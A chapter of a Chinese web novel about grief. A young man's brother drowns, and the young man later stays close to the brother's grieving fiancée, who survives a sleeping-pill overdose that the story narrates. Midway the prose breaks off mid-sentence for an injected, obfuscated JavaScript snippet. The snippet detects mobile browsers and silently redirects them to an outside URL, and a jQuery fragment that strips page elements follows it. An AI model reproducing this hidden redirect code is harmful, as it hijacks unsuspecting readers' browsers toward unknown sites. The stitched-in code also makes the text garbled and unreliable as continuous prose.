那是升大二的夏天。


    戚妄刚从学校回来不到一个星期，和所有过暑假的学生一样，过着昼夜颠倒的生活。


    醒来时，窗外微亮，天尽处是火红的晚霞。明明很漂亮，戚妄却烦躁地摁了下眉心。


    明明这个时候睡得正香，怎么突然醒了？


    倒头准备继续睡，眼睛闭得紧紧的。没多久，猛地睁开，无语看着天花板。


    睡不着。


    睡不着！


    “嗡嗡嗡——”手机在枕边撕心裂肺地震动，戚妄反手摸，接听，闭上眼睛有气无力说，“喂？”


    “……”


    不到两秒，他猛地从床上坐起，面色惨白，“爸，你……你骗我的对吧？”


    电话那头用迅速挂断的通话回应了他，甚至来不及说一句，‘不是骗你’。


    戚妄在床上呆坐了几秒，具体几秒他不记得了，只记得心脏咚咚咚跳得极快。飞速下床，拿着外套就出门。


    明明是夏天，医院却冷的刺骨。


    戚程的尸体在停尸间。


    夏天温度高，加上在海里泡了一夜，需要尽快火化。


    那一瞬间，戚妄感觉思想走了很远，可回过神来，他依旧站在原地，脚像是在地里生了根，拔不动。


    “溪溪！溪溪！”


    走廊尽头，几声哭泣传来，有很多人的声音，唯独没有苏溪本人。


    苏溪倒在地上，晕厥后平静的面容像极了没知觉的植物人。


    这个暑假是苏溪和戚程最后的暑假，约定好这次毕业旅行结束回来就结婚，可是为了救人，戚程遇到了离岸流。


    尸体在医院停了一天，隔天傍晚火化。


    火葬场，被火化的很多都是寿终正寝的老人家，只有戚妄捧在怀中的照片最年轻。


    明媚帅气的笑容，带着对未来的期许。


    那是戚程的毕业照，却选来做了遗照。因为做墓碑的师傅说，照片要选有笑容的会更合适。


    那是众人能看到逝者最后停留的地方，一个空旷的房间，可以容纳数百人，里面躺着许多待火化的棺材，戚程就是其中一具。


    戚妄捧着遗照站在最前面，身边就是苏溪。


    没有任何人说话。


    再拿到手的是一个带有余温的白坛，比人体温度高一点，不烫手。


    小小的一坛，里面装得是戚程的骨灰。


    葬礼很简单，丧宴也只有晚上一餐。


    饭几乎没吃，戚妄从室内出来，曲腿缓身在阶梯上坐下，盯着地上白色的月光发呆。


    “哐当——”


    有什么类似玻璃撞击声响起，声音是从右边榕树下传过来的。


    榕树很大，像一把巨大的伞，遮住本就不亮的月光。戚妄眯起眼睛，搜索那片隐秘的黑暗处。


    银白色月光照不透的地方，女人背靠着榕树毫无形象地席地而坐。


    她仰头，手高高举起，正往嘴里灌着什么。


    意识到某种可能，戚妄瞳孔骤然一缩，倏地从台阶上站起。他快速跳下楼梯，差点踩空，踉跄了好大一步。


    风从眼前撕开，不是很远的距离，他却跑得心率骤升。


    跑进榕树下，戚妄停在对方身前，蹲下/身，一把夺走她手中的瓶子，高高举起，视线对准瓶身，焦急的搜寻上面的字。


    恰有一抹银白落在瓶身上，玻璃制品中装着透明的液体，刺鼻的味道，是酒。


    察觉酒瓶被人抢走，女人发脾气想抢回来。


    戚妄一把抓住她的手，声线绷紧，质问，“这里面除了酒，还有什么？”


    “还给我！”


    “苏溪！！”


    像似被突然变大的声音吓到，苏溪怔在原地。


    戚妄禁锢住苏溪的手慢慢松开，抬手想摸她的脸，最终缓缓落下，“对不起，你别哭。”


    人要有多伤心，才会无声，又面无表情的流泪。


    戚妄看了眼手中的酒瓶，又看了眼身边的人，“既然你不说，那我就陪你喝。”


    仰头灌了一口，辛辣醇厚的白酒刺激着舌苔，一股猛烈的灼烧感划过喉咙，一路烧到胃中。


    一天没吃了，几乎是瞬间，戚妄捂着肚子蜷缩，冷汗津津。


    这么难受，他甚至开始再次不确定里面是不是掺了毒药，还是白酒本身就这么难喝。


    酒瓶递到唇边，刚准备继续灌，身边传来开瓶声，还有玻璃撞击声。


    戚妄侧首，就见苏溪在灌一瓶不知从哪里来的白酒，酒瓶里面满满的，看样子是新开的。


    戚妄松了口气。


    不是他想的那样就好。


    戚妄扶着榕树坐下，看一旁苏溪不要命似的灌酒。酒香弥漫在整颗榕树下，他说不出让苏溪不要喝的话，只能看着她喝，再陪着她一起灌。


    这是他第一次喝酒，也是他喝得最难喝的一次。


    来不及吞咽的液体沿着唇角滑落，不知是不是酒精太刺激，眼眶又辣又红，喉头哽咽着，生疼的厉害。


    戚妄闭上眼睛，咽下所有可能会暴露的声音。


    “噗、咳咳——”


    撕裂地嗓音惊醒了戚妄，他立刻放下酒瓶，朝身边人看。


    苏溪仰倒在地上，面色驼红，几乎神志不清。


    戚妄这才想起酒精中毒这回事，吓得一激灵。


    顾不得别的，靠近搂住她，一手扶着肩膀，一手扶着腰，想把她带回去。


    “戚程——”怀中人不知何时醒了。


    戚妄回应她，“你醒了。”


    他低下头，对上苏溪的眼睛，醉酒后朦胧的双眼，如同水光潋滟，唇色鲜红，上面沾着一层透明酒渍。


    苏溪抬手摸着他的脸颊，眼中满是爱慕和委屈，眼泪滴滴坠落，没入发髻。


    她轻声喊，“戚程——”


    戚妄浑身僵硬，立在原地，无法动弹。


    视线，更无法从她身上挪开。


    苏溪摸着‘戚程’的脸，闭上眼睛，踮起脚尖，微微抬起下巴，朝着‘戚程’的唇吻了上去。


    戚妄呆住了，任由嘴唇被/舔/舐，温软的触感。


    反应过来，头往后仰，躲避说，“你弄错了……我不是……。”


    可怀里的人根本听不到他说话，固执地搂着他的脖子。


    戚妄抓住苏溪的胳膊，强硬地将她分开。


    “痛——”苏溪忽然喊出声。


    戚妄立刻松手，下一秒，脖颈上再度传来细密柔软的触觉，每一下都刺激着他的神经。


    戚妄闭上眼睛，努力朝后仰着，捏着拳头，浑身绷紧，额角青筋暴起，“……”


    隐约几滴温热落在他脖颈上，一滴一滴不间断，水渍汇聚慢慢没入他的衣领。


    戚妄睁开双眼，视野里是榕树顶端密集的枝叶。


    今夜微风，它们安静地呆在树枝上，只在微风扫过时，会配合着舞动，发出哗哗声。


    戚妄垂首，望着此刻正埋在他胸口的女人，伸手扶住她的脸，缓缓抬起。


    满面泪痕，双眼红肿，头发凌乱地粘在她面上，狼狈到极点，她正用一双迷茫无助的视线在看他。


    戚妄的眼睛一下就红了，视线被水渍浸得模糊，缓缓俯身，印在她的唇上。


    她的唇如他想象中一样柔软，每一份触动都能惊得他心如擂鼓，隐隐作痛。


    榕树叶哗哗作响，树下两人轻轻依靠。


    唇贴着唇，有眼泪从眼角滑落。


    唇短暂的轻触，又迅速分离，苏溪倒在他的臂弯中昏睡，戚妄垂首看。


    背后是哥的灵堂，就在刚才，他亲吻着他哥哥的爱人。


    拳头紧握，骨节握地发白，又无力的放开。


    呵。


    /


    戚程离世的半年，大家都逐渐接受了亲人离开的事实。


    两家人也不再紧盯着苏溪，不是他们不想盯，实在是苏溪太平静了。看电视，看书，偶尔坐在阳台晒太阳发发呆。跟她说话，她也和以前一样回答你。


    冬天寒假，戚妄从学校回来，带着爸妈新包的馄饨上苏家串门。开门的是苏爸爸，礼节性的打了声招呼，戚妄进到屋里，环顾四周。


    电视声音开的不大，里面放的是新闻。


    苏溪坐在沙发上，看着电视屏，听到玄关说话声，视线朝他望来。


    戚妄手里的馄饨已经被苏爸爸拿走，此刻他空手站在原地，同沙发上的苏溪对视。


    “你吃激素了？”苏溪说。


    “？”戚妄不解。


    “一米九？”苏溪猜。


    “186。”戚妄说。


    苏溪上下打量这个年轻男人，一身短羽绒加卫裤，往面前一站，光个子就足够欺人。


    “你们学校的伙食一定很好。”她说。


    “还行。”


    戚妄莫名松了口气，这人还像以前一样爱打趣他。


    苏溪拍拍身边的位置。


    戚妄挪步过去，坐下。


    两人坐在沙发上，齐齐盯着电视。


    老实说，电视里主持人播得什么，戚妄根本没听进去。视


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720379|157190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    野的余光里，苏溪双臂环膝，下巴磕在膝盖上，认真盯着电视，长发披散，一身宽松的居家服。


    那天晚上榕树下发生的事，本以为隔天起来苏溪会把他打死，可苏溪昏睡了两天，醒来时看他的眼神和以往一样。


    那是在看失去哥哥的弟弟，悲惨同情的眼神。


    那一瞬间，戚妄前所未有的自厌。


    他僵硬地站在原地，口袋里指甲戳进肉中。他隐瞒的很好，没有让人发现他的异样。


    吃完馄饨走了。


    整个寒假，除了拜年，戚妄没再去过苏家。


    第二年夏季，暑假还没开始，戚妄提前两天回家了，因为那天是戚程的忌日。


    清冷的墓园，寥寥数人。


    然而三个意外来客催化了这份清冷，那是被戚程救下的孩子，和他父母。


    说是想来祭拜。


    小孩儿刚上初中，稚嫩的面庞，在对上他们的眼睛时，不知道是不是在胆怯，微微低下头。


    虽然年纪小，但已经懂得挺多了，比如他们这些大人的想法。


    没有意外，墓园里多了几双泛红的眼睛，本就在隐忍的思念，顷刻奔泻而出。


    就在那一家三口小声说话时，苏溪转身离开。


    戚妄看到了。


    只偏首眨眼的时间，苏溪已经走出去几米远，他迈步跟上。


    出了墓园，那是一个小山坡，走道铺了石砖。苏溪坐在上面，看着远处。


    戚妄站在她身后。


    “我从没意识到，原来我是这样恶毒的人。”


    苏溪轻轻说。


    戚妄沉默。


    苏溪没有再往下说，只是看着远处。


    风鼓起她的长发，一下一下，看着像似要飘远，却又不得不被禁锢在原地。


    就这样。


    墓园里的天空飘起灰烟。


    墓园外，两个沉默的人吹着风。


    离开墓园，一直到晚上，洗漱完的戚妄躺在床上，想了想给苏溪发去消息。


    【那并不是恶毒。】


    几分钟后，手机有了回音。


    【或许吧。】


    再无下文。


    戚妄盯着屏幕，按下息屏。


    半夜，他口渴醒来，习惯性地点亮手机看屏幕，不知怎么重新点开了苏溪的微信。


    屏幕里的内容，和此刻的黑夜一样，静悄悄的。


    ——“我从没意识到，原来我是这样恶毒的人。”


    白天，苏溪的话再度回荡在脑海中。


    还在念初一的小孩儿，紧紧抓着父母的衣角，缩在父母身边，低着头。


    初中和大学看着相差遥远，其实只差9岁，却吞没了戚程往后几十年，那双看过来满怀愧疚的眼神，稚嫩到让他们都说不出指责的话。


    因为那是戚程自己的选择。


    原本静卧着的戚妄莫名躺不下去了，他拨通了苏溪的电话。


    “嘟——嘟——嘟——”


    无人接听。


    行动比脑子更快，脚落地踩着拖鞋夺门而出，巨响声引起了隔壁房间的注意。


    灯亮起。


    “戚妄？”


    ……


    苏溪吞了整罐安眠药，幸好送医及时。


    抢救期间，戚妄了解到，这一整年苏溪有吃安眠药的习惯。医生每次开的剂量不多，但她吃下肚的却有两百多粒。


    抢救室红灯熄灭，门自内而外打开。


    病床上的人双眼紧闭，面颊浮肿，静默地躺在白被下，惨白的面色像极了戚程最后一面的样子。


    /


    黑暗中，戚妄睁开眼睛，盯着天花板。


    大开的房门，隐隐能听见隔壁的咳嗽声，像似害怕打扰到他，努力压抑到最小。


    可苏溪根本就不会明白，无论她做什么，都不会吵到他。


    因为哪怕是再难听的噪音，与他而言，都是她存活在世间的证据。


    戚妄闭上眼睛，没有入睡。


    一整晚，他都默默听着隔壁的动静。


    直到黑暗退散，路尽之处，黎明渐起。


    ……


    苏溪醒来，发现桌上摆好了早餐，戚妄坐在餐桌前等她。


    “醒了？你先洗漱，我再去热下。”


    戚妄说着，转身去点火，重新热锅里的米粥。


    “好。”


    苏溪去洗手间，牙膏挤了一半顿住。


    ——再热下？


    不是刚烧好的吗？


    那他是什么时候烧的？